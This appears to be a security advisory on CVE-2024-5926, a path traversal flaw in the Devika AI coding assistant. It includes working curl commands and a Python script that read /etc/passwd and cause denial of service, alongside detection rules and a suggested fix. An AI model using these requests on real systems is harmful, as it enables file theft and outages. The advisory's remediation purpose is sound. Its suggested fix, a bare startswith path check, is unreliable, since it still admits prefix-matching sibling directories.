CVE-2024-5926

Executive Summary

CVE-2024-5926 is a critical path traversal vulnerability in Stitionai Devika, an AI-powered software development assistant. The flaw resides in the get-project-files endpoint, where the project-name parameter is insufficiently sanitized. An unauthenticated attacker can supply a path traversal sequence (e.g., ../../../etc/passwd) to read arbitrary files from the server filesystem. Additionally, by setting project-name to the root directory (/), the application attempts to recursively read the entire filesystem, leading to a Denial of Service (DoS) condition due to resource exhaustion. The CVSS score is 9.1 (Critical), and no official patch has been released as of this analysis.

Supply Chain & Package Security

Devika is a Python-based application distributed via GitHub and potentially PyPI. The vulnerability exists in the core application logic, not in a third-party package. However, organizations using Devika should audit their deployment for any custom modifications or dependencies that might introduce additional risks. The lack of a patch means that supply chain integrity is compromised until a fix is applied.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
• Base Score: 9.1 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Arbitrary file read.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – DoS via filesystem exhaustion.

Threat Level: Critical. The combination of remote, unauthenticated file read and DoS makes this a high-priority vulnerability for any organization running Devika.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the get-project-files endpoint. The application likely constructs a file path by concatenating a base directory with the user-supplied project-name parameter. Without proper sanitization, an attacker can inject ../ sequences to escape the intended directory.

Root Cause: The application fails to validate or normalize the project-name parameter. It does not check for path traversal patterns or restrict the resulting path to a safe base directory.

Attack Flow:

1. Attacker sends a GET request to /get-project-files?project-name=../../../etc/passwd.
2. The application constructs a path like /app/projects/../../../etc/passwd, which resolves to /etc/passwd.
3. The application reads and returns the file contents.
4. For DoS, the attacker sets project-name=/, causing the application to attempt to read the entire filesystem, consuming memory and CPU.

Impact:

• Confidentiality: Sensitive files (e.g., /etc/shadow, configuration files, source code) can be exfiltrated.
• Availability: The DoS vector can crash the application or the host system.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (Python example):

@app.route('/get-project-files')
def get_project_files():
    project_name = request.args.get('project-name')
    base_path = '/app/projects'
    file_path = os.path.join(base_path, project_name)
    if os.path.exists(file_path):
        return send_file(file_path)
    else:
        return "File not found", 404

Patched Code (Recommended):

import os

@app.route('/get-project-files')
def get_project_files():
    project_name = request.args.get('project-name')
    base_path = '/app/projects'
    # Sanitize: resolve the path and ensure it stays within base_path
    safe_path = os.path.normpath(os.path.join(base_path, project_name))
    if not safe_path.startswith(base_path):
        return "Invalid path", 400
    if os.path.exists(safe_path):
        return send_file(safe_path)
    else:
        return "File not found", 404

Key Fixes:

• Use os.path.normpath() to resolve ../ sequences.
• Verify that the resolved path starts with the intended base directory.
• Reject requests that attempt to escape the base directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Devika (any version).
• Network access to the /get-project-files endpoint.

Exploit Steps:

1. Arbitrary File Read:

   curl "http://target:5000/get-project-files?project-name=../../../etc/passwd"
   

   This will return the contents of /etc/passwd.

2. Denial of Service:

   curl "http://target:5000/get-project-files?project-name=/"
   

   This will cause the application to attempt to read the entire filesystem, leading to resource exhaustion.

Automated Exploit (Python):

import requests

target = "http://target:5000"
# Read /etc/passwd
r = requests.get(f"{target}/get-project-files?project-name=../../../etc/passwd")
print(r.text)

# DoS
requests.get(f"{target}/get-project-files?project-name=/")

Blue Team (Defensive)

Detection:

• Monitor logs for requests to /get-project-files with suspicious project-name parameters containing ../ or /.
• Use WAF rules to block path traversal patterns.

Honeypot:

• Deploy a fake Devika instance and monitor for exploitation attempts.

Mitigation:

• Apply the patched code (see above) or disable the endpoint until a vendor patch is available.
• Restrict network access to the Devika service using firewalls.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /get-project-files with project-name containing ../ or /.
  • Unusually large responses from the endpoint (indicating file read).
  • High CPU/memory usage on the server (DoS indicator).

• File System IOCs:

  • Unexpected file reads from sensitive system files (e.g., /etc/passwd, /etc/shadow).
  • Log entries showing path traversal attempts.

• Log Examples:

  GET /get-project-files?project-name=../../../etc/passwd HTTP/1.1
  GET /get-project-files?project-name=/ HTTP/1.1
  

Detection Engineering

YARA Rule

rule CVE_2024_5926_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-5926 in Devika"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5926"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $param = "project-name" ascii wide nocase
        $root = "/" ascii wide nocase
    condition:
        any of ($traversal*) and $param or ($root and $param)
}

Sigma Rule

title: CVE-2024-5926 Devika Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit path traversal in Devika's get-project-files endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'project-name=../'
            - 'project-name=/'
    condition: selection
falsepositives:
    - Legitimate use of project names containing dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5926 Devika Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/get-project-files"; http_uri; content:"project-name"; http_uri; pcre:"/(\.\.\/|\/)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /get-project-files via reverse proxy or firewall.
2. Apply the patched code (see Vulnerable vs. Patched Code section) to sanitize the project-name parameter.
3. Restrict network access to the Devika service to trusted IPs only.

Long-term Fix:

• Wait for an official patch from Stitionai. Monitor the Devika GitHub repository for updates.
• Implement a Web Application Firewall (WAF) with rules to block path traversal patterns.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• If the endpoint is essential, implement input validation to allow only alphanumeric characters and hyphens in the project-name parameter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2024-5926